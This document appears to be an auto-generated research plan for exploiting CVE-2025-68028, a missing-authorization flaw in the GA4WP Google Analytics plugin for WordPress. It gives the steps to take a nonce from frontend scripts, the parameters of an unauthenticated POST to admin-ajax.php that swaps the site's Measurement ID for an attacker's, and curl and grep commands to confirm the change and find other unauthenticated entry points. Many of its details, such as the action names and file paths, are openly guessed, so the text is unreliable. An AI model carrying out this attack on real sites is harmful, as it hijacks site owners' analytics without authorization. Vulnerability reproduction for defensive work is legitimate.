GA4WP: Google Analytics for WordPress <= 2.10.0 - Missing Authorization

This research plan targets CVE-2025-68028, a missing authorization vulnerability in the GA4WP: Google Analytics for WordPress plugin (up to version 2.10.0). This flaw allows unauthenticated attackers to perform administrative actions, likely modifying the plugin's settings (such as the Google Analytics Measurement ID).

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1. Vulnerability Summary

The vulnerability arises from a missing capability check (e.g., current_user_can( 'manage_options' )) in one of the plugin's AJAX handlers. While the handler may verify a WordPress nonce for CSRF protection, the nonce is likely exposed to unauthenticated users on the frontend, and the function itself fails to verify the requester's permissions.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: ga4wp_save_settings (inferred from plugin naming conventions and version 2.10.0 history)
• Authentication: None (Unauthenticated via wp_ajax_nopriv_ registration)
• Payload Parameter: ga4wp_settings (or individual settings fields like measurement_id)
• Nonce Parameter: security or nonce (inferred)

3. Code Flow (Inferred)

1. Registration: The plugin registers an AJAX action in includes/class-ga4wp.php (or similar):

   add_action( 'wp_ajax_nopriv_ga4wp_save_settings', [ $this, 'ga4wp_save_settings' ] );
   

2. Handler Execution: The ga4wp_save_settings function is called.
3. Missing Check: The function likely calls check_ajax_referer( 'ga4wp_nonce', 'security' ) but does not call current_user_can( 'manage_options' ).
4. Data Persistence: The function proceeds to update the ga4wp_settings option in the database using update_option().

4. Nonce Acquisition Strategy

The plugin likely enqueues scripts that contain the nonce for its AJAX operations. We will use the browser_eval tool to extract it from the frontend.

• Likely JS Variable: ga4wp_localize or ga4wp_vars.
• Likely Nonce Key: nonce or security.
• Extraction Method:
  1. Navigate to the site homepage (the plugin usually enqueues tracking scripts on the frontend).
  2. Execute: browser_eval("window.ga4wp_localize?.nonce || window.ga4wp_vars?.nonce").
  3. If not found on the homepage, check for a GA4WP dashboard or widget if applicable.

5. Exploitation Strategy

We will attempt to change the Google Analytics Measurement ID to a value controlled by the attacker.

• Step 1: Obtain the nonce using the browser_navigate and browser_eval tools.
• Step 2: Construct a POST request to admin-ajax.php.
• Request Details:
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: ga4wp_save_settings (to be verified via grep in source)
    • security: [EXTRACTED_NONCE]
    • ga4wp_settings[measurement_id]: G-HACKED12345
    • ga4wp_settings[enabled]: 1

6. Test Data Setup

1. Install and activate GA4WP <= 2.10.0.
2. Ensure the plugin is configured with a dummy Measurement ID (e.g., G-ORIGINAL).
3. No special users are required as the exploit is unauthenticated.

7. Expected Results

• The server should return a success response (e.g., {"success": true} or 1).
• The ga4wp_settings option in the WordPress database should be updated with the attacker-supplied Measurement ID.
• Subsequent visits to the site frontend should show the attacker's Measurement ID in the page source (tracking script).

8. Verification Steps

1. Database Check: Use WP-CLI to verify the option value:
   wp option get ga4wp_settings
2. Frontend Check: Use http_request to fetch the homepage and grep for the injected ID:
   curl -s http://localhost:8080/ | grep "G-HACKED12345"

9. Alternative Approaches

If ga4wp_save_settings is not the correct action name:

1. Source Search: Use grep -r "add_action.*wp_ajax_nopriv" wp-content/plugins/ga-for-wp/ to find all unauthenticated AJAX entry points.
2. Parameter Search: Use grep -r "update_option" wp-content/plugins/ga-for-wp/ to find functions that modify settings.
3. Trace Nonce: Search for wp_localize_script to identify the exact global JavaScript object containing the nonce.
4. Bypass Nonce: If no nonce is verified (even better), simply omit the security parameter.